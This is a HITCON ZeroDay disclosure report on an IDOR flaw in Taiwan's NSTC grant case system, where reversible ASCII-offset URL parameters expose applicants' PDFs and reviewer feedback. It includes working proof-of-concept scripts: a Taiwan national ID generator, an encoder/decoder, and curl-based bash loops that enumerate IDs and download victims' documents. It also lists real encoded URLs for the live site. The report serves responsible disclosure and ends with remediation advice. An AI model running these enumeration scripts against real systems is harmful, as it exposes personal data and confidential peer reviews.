National Science and Technology Council (NSTC) website IDOR / Broken Access Control / Information Leakage - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2026-00580
  •  發信 Vendor: 台灣電腦網路危機處理暨協調中心(TWCERT/CC)
  • Title: National Science and Technology Council (NSTC) website IDOR / Broken Access Control / Information Leakage
  • Introduction: The Web-based Case Report system uses a trivially reversible character-level obfuscation scheme (ASCII code + session-based offset) instead of proper authentication and authorization to protect sensitive URL parameters.

處理狀態

目前狀態

公開
Last Update : 2026/06/26
  • 新提交
  • 已審核
  • 已通報
  • 未回報修補狀況
  • 未複測
  • 公開

處理歷程

  • 2026/04/23 18:26:54 : 新提交 (由 Vincent 更新此狀態)
  • 2026/04/27 17:50:38 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/05/20 15:53:08 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/05/20 15:53:08 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/05/20 15:53:09 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/06/21 13:42:40 : 新提交 (由 Vincent 更新此狀態)
  • 2026/06/21 14:26:30 : 新提交 (由 Vincent 更新此狀態)
  • 2026/06/23 21:54:47 : 新提交 (由 Vincent 更新此狀態)
  • 2026/06/23 21:58:17 : 新提交 (由 Vincent 更新此狀態)
  • 2026/06/25 16:30:01 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/06/26 03:00:03 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2026-00580
  • 通報者:vincentaun123 (Vincent)
  • 風險:高
  • 類型:不安全的直接存取物件 (Insecure Direct Object References, IDOR)

參考資料

攻擊者可經由該漏洞取得系統中的其他使用者的資料或是系統檔案。

OWASP Top 10 - 2013 A4 - Insecure Direct Object References
https://www.owasp.org/index.php/Top_10_2013-A4-Insecure_Direct_Object_References

Insecure Direct Object Reference Prevention Cheat Sheet
https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.md

OWASP Top 10 - 2017 A5 - Broken Access Control
https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://wcr.nstc.gov.tw/CROReview/Review/wFrmReviewForm.aspx?SRNO1=368$363$360$360$360$369$360$380$382$379$364$361$361$3240&SRNO2=363$362$364$360$366$362$360$362$3240
https://wcr.nstc.gov.tw/CR/library/ShowPDF.aspx?appl_year=114&idno=362%24362%24360%24366%24368%24361%24360%24360%24368%24394%243240&code=C801

敘述

HITCON ZeroDay Vulnerability Report

Reporter: Vincent
Date: 2026-04-23
Vulnerability Type: IDOR / Broken Access Control / Information Leakage
Severity: High


1. Vulnerability Summary

The Web-based Case Report system uses a trivially reversible character-level obfuscation scheme (ASCII code + session-based offset) instead of proper authentication and authorization to protect sensitive URL parameters. An attacker who reverses this encoding can enumerate and access any applicant's documents by brute-forcing valid Taiwan National ID numbers and constructing forged URLs.

Two endpoints are affected:

# Endpoint Exposure
1 /CR/library/ShowPDF.aspx Application PDFs (C801–C804, OTH2, OTH4, OTH5, etc)
2 /CROReview/Review/wFrmReviewForm.aspx Reviewer/auditor feedback on any application

The attack is chainable: documents obtained from Endpoint 1 contain application Serial Numbers (SRNO), which can then be used to access Endpoint 2.

2. Technical Analysis

2.1 URL Parameter Structure

Endpoint 1 — ShowPDF.aspx:

https://xxxxx.gov.tw/CR/library/ShowPDF.aspx
  ?appl_year=114
  &idno=362%24362%24360%24...%24394%243240
  &code=C801
Parameter Description
appl_year ROC (Minguo) calendar year. 114 = AD 2025.
idno Obfuscated Taiwan National ID / ARC number + session token.
code PDF page identifier: C801, C802, C803, C804, OTH2, OTH4, OTH5.

Endpoint 2 — wFrmReviewForm.aspx:

https://xxxxxx.xxx.gov.tw/CROReview/Review/wFrmReviewForm.aspx
  ?SRNO1=368$363$360$...$361$3240
  &SRNO2=363$362$364$...$362$3240
Parameter Description
SRNO1 Obfuscated application Serial Number (reversed) + session token. Required.
SRNO2 Secondary reference number + session token. Optional — can be removed without affecting results.

2.2 Encoding Scheme (Obfuscation)

The %24 in the URL is URL-encoded $ (dollar sign), used as the delimiter. Each character of the identifier is encoded as:

encoded_value = ASCII_code_of_character + session_offset

The session offset changes every time a user logs in. In different observed sessions, the offsets were 247 and 312. The session token (e.g., 8140, 3240) is appended as the final $-separated value.

Decoding example (offset = 312):

Encoded − 312 ASCII Char
362 50 50 2
362 50 50 2
360 48 48 0
366 54 54 6
368 56 56 8
361 49 49 1
360 48 48 0
360 48 48 0
368 56 56 8
394 82 82 R

Decoded ID: 220681008R

2.3 SRNO1 Encoding (Reversed Application Number)

For the review page, the application Serial Number is reversed before encoding. Example: Application number 114CFD0900038 → Reversed: 8300090DFC411 → Then each character is encoded with the same ASCII + session_offset scheme.

2.4 Determining the Session Offset

An attacker only needs to know one valid encoded value and its plaintext equivalent to compute the session offset for the entire session:

session_offset = any_encoded_value - ASCII_code_of_known_character

Once the offset is known, all identifiers can be encoded or decoded for that session.

3. Attack Chain

Stage 1 — Enumerate Valid Taiwan IDs and Access Application PDFs

  1. Generate valid Taiwan National ID numbers using the publicly documented check-digit algorithm.
  2. Encode each ID using the discovered ASCII + offset scheme.
  3. Construct URLs for ShowPDF.aspx and iterate through all code values (C801–C804, OTH2, OTH4, OTH5).
  4. Send HTTP requests and check for valid responses (HTTP 200 with PDF content vs. error pages).
  5. Successful hits yield the victim's application PDFs, which contain personal information and application Serial Numbers.

Stage 2 — Access Auditor/Reviewer Feedback

  1. Extract the application Serial Number (e.g., 114CFD0900038) from PDFs obtained in Stage 1.
  2. Reverse the Serial Number8300090DFC411.
  3. Encode the reversed string using the same offset.
  4. Construct the URL for wFrmReviewForm.aspx and access the reviewer's feedback report.

4. Proof of Concept

4.1 Taiwan National ID Validator / Generator (Python)

The Taiwan National ID check-digit algorithm is publicly documented. The following script generates valid ID numbers that can be used to test the vulnerability.

#!/usr/bin/env python3
# taiwan_id_gen.py - Generate valid Taiwan National ID numbers.

LETTER_MAP = {
    'A': 10, 'B': 11, 'C': 12, 'D': 13, 'E': 14, 'F': 15,
    'G': 16, 'H': 17, 'I': 34, 'J': 18, 'K': 19, 'L': 20,
    'M': 21, 'N': 22, 'O': 35, 'P': 23, 'Q': 24, 'R': 25,
    'S': 26, 'T': 27, 'U': 28, 'V': 29, 'W': 32, 'X': 30,
    'Y': 31, 'Z': 33
}
WEIGHTS = [1, 9, 8, 7, 6, 5, 4, 3, 2, 1, 1]

def compute_check_digit(id_without_check: str) -> int:
    letter = id_without_check[0].upper()
    two_digit = LETTER_MAP[letter]
    digits = [two_digit // 10, two_digit % 10]
    digits += [int(c) for c in id_without_check[1:]]
    weighted_sum = sum(d * w for d, w in zip(digits, WEIGHTS))
    return (10 - (weighted_sum % 10)) % 10

def is_valid_id(tw_id: str) -> bool:
    if len(tw_id) != 10: return False
    if not tw_id[0].isalpha(): return False
    if not tw_id[1:].isdigit(): return False
    return int(tw_id[9]) == compute_check_digit(tw_id[:9])

def generate_ids(letter, gender, start=0, end=100):
    valid_ids = []
    for serial in range(start, end):
        partial = f"{letter}{gender}{serial:07d}"
        check = compute_check_digit(partial)
        valid_ids.append(f"{partial}{check}")
    return valid_ids

if __name__ == "__main__":
    sample = generate_ids('A', 1, start=0, end=20)
    for tw_id in sample:
        print(f"{tw_id}  valid={is_valid_id(tw_id)}")

4.2 Encoder / Decoder (Python)

#!/usr/bin/env python3
# encode_decode.py - Encode and decode obfuscated URL parameters.

def decode_idno(encoded_str: str, session_offset: int):
    parts = encoded_str.replace('%24', '$').split('$')
    session_token = parts[-1]
    char_values = parts[:-1]
    decoded = ''.join(chr(int(v) - session_offset) for v in char_values)
    return decoded, session_token

def encode_idno(plaintext: str, session_offset: int, session_token: str) -> str:
    encoded_parts = [str(ord(c) + session_offset) for c in plaintext]
    encoded_parts.append(session_token)
    return '%24'.join(encoded_parts)

def encode_srno(application_number: str, session_offset: int,
                session_token: str) -> str:
    reversed_num = application_number[::-1]
    return encode_idno(reversed_num, session_offset, session_token)

def find_offset(known_char: str, encoded_value: int) -> int:
    return encoded_value - ord(known_char)

if __name__ == "__main__":
    raw = "362%24362%24360%24366%24368%24361%24360%24360%24368%24394%243240"
    offset = 312
    decoded_id, token = decode_idno(raw, offset)
    print(f"Decoded ID: {decoded_id}")
    print(f"Session token: {token}")
    target_id = "617627521S"
    encoded = encode_idno(target_id, offset, token)
    print(f"Encoded '{target_id}': {encoded}")
    app_number = "114CFD0900038"
    srno_encoded = encode_srno(app_number, offset, token)
    print(f"SRNO1 for '{app_number}': {srno_encoded}")
    discovered_offset = find_offset('R', 394)
    print(f"Discovered offset: {discovered_offset}")

4.3 Automated URL Testing (Bash)

#!/bin/bash
# brute_force_poc.sh - Automated URL testing for XXXX ShowPDF IDOR

SESSION_OFFSET=312
SESSION_TOKEN="3240"
APPL_YEAR=114
COOKIE="your_session_cookie_here"
BASE_URL="https://xxxxx.xxx.gov.tw/CR/library/ShowPDF.aspx"
CODES=("C801" "C802" "C803" "C804" "OTH2" "OTH4" "OTH5")

OUTPUT_DIR="./results"
mkdir -p "$OUTPUT_DIR"

echo "[*] Generating valid Taiwan ID numbers..."
python3 taiwan_id_gen.py > id_list.txt

while IFS= read -r TW_ID; do
    ENCODED=$(python3 -c "
from encode_decode import encode_idno
print(encode_idno('${TW_ID}', ${SESSION_OFFSET}, '${SESSION_TOKEN}'))
")
    for CODE in "${CODES[@]}"; do
        URL="${BASE_URL}?appl_year=${APPL_YEAR}&idno=${ENCODED}&code=${CODE}"
        HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" \
            -b "$COOKIE" "$URL")
        if [ "$HTTP_CODE" -eq 200 ]; then
            echo "[+] HIT: ${TW_ID} | code=${CODE}"
            echo "${TW_ID},${CODE},${URL}" >> "$OUTPUT_DIR/hits.csv"
            curl -s -b "$COOKIE" "$URL" \
                -o "$OUTPUT_DIR/${TW_ID}_${CODE}.pdf"
        fi
    done
done < id_list.txt
echo "[*] Scan complete. Results saved to $OUTPUT_DIR/"

4.4 Chained Attack — Access Reviewer Feedback (Bash)

#!/bin/bash
# chain_attack_poc.sh - Access reviewer feedback via Endpoint 2.

SESSION_OFFSET=312
SESSION_TOKEN="3240"
COOKIE="your_session_cookie_here"
BASE_URL="https://xxxxx.xxx.gov.tw/CROReview/Review/wFrmReviewForm.aspx"

OUTPUT_DIR="./review_results"
mkdir -p "$OUTPUT_DIR"

while IFS= read -r APP_NUM; do
    SRNO1=$(python3 -c "
from encode_decode import encode_srno
print(encode_srno('${APP_NUM}', ${SESSION_OFFSET}, '${SESSION_TOKEN}'))
")
    SRNO1_DOLLAR=$(echo "$SRNO1" | sed 's/%24/$/g')
    URL="${BASE_URL}?SRNO1=${SRNO1_DOLLAR}"
    HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" \
        -b "$COOKIE" "$URL")
    if [ "$HTTP_CODE" -eq 200 ]; then
        echo "[+] HIT: ${APP_NUM}"
        curl -s -b "$COOKIE" "$URL" \
            -o "$OUTPUT_DIR/${APP_NUM}_review.html"
    fi
done < app_numbers.txt
echo "[*] Review scan complete."

5. Impact Assessment

5.1 Data at Risk

Personal Information: Applicant names, Taiwan National ID numbers, contact information, institutional affiliations.

Research Proposals: Full text of XXXXXX XXXXXX grant applications (which may contain unpublished research ideas, budgets, and institutional data).

Reviewer Feedback: Confidential peer-review comments and scores from academic reviewers, intended to be restricted to the applicant and XXXXXX staff.

5.2 Severity Justification

Factor Assessment
Attack complexity Low — obfuscation is trivially reversible; Taiwan ID format is public.
Authentication Yes — valid session needed, but any user can access other users' data.
Scope of exposure All applicants across all years (by modifying appl_year).
Confidentiality impact High — PII, research content, and review feedback exposed.
Chained exploitation Stage 1 feeds Stage 2, amplifying the attack surface.

5.3 OWASP / CWE Classification

OWASP Top 10 2021 — A01: Broken Access Control

CWE-639: Authorization Bypass Through User-Controlled Key (IDOR)

CWE-656: Reliance on Security Through Obscurity

6. Remediation Recommendations

6.1 Immediate Fixes (High Priority)

1. Implement server-side authorization checks. Every request to ShowPDF.aspx and wFrmReviewForm.aspx must verify that the authenticated user is authorized to access the requested resource. The server should compare the session's authenticated identity against the requested idno or SRNO1.

2. Remove direct object references from URLs. Replace predictable identifiers (idno, SRNO1) with opaque, non-guessable tokens (e.g., UUIDs or cryptographically signed tokens) that are mapped server-side.

3. Implement rate limiting and anomaly detection. Monitor for rapid sequential requests to ShowPDF.aspx with different idno values from the same session, indicating enumeration attacks.

6.2 Long-Term Improvements

4. Use proper encryption, not obfuscation. If parameters must be passed via URL, use authenticated encryption (e.g., AES-GCM) with a server-side key, not a simple arithmetic offset.

5. Add CSRF tokens to state-changing requests to prevent cross-site request forgery.

6. Audit logging. Log all document access with the requester's identity, IP address, and timestamp. Alert on access patterns that indicate enumeration.

7. Remove SRNO2 or enforce its validation. Since SRNO2 is currently ignored server-side, either remove it from the URL specification or enforce its validation to reduce the attack surface.

7. References

修補建議

For more information, please check the "敘述" session.

6. Remediation Recommendations

6.1 Immediate Fixes (High Priority)
1. Implement server-side authorization checks. Every request to ShowPDF.aspx and wFrmReviewForm.aspx must verify that the authenticated user is authorized to access the requested resource. The server should compare the session's authenticated identity against the requested idno or SRNO1.

2. Remove direct object references from URLs. Replace predictable identifiers (idno, SRNO1) with opaque, non-guessable tokens (e.g., UUIDs or cryptographically signed tokens) that are mapped server-side.

3. Implement rate limiting and anomaly detection. Monitor for rapid sequential requests to ShowPDF.aspx with different idno values from the same session, indicating enumeration attacks.

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;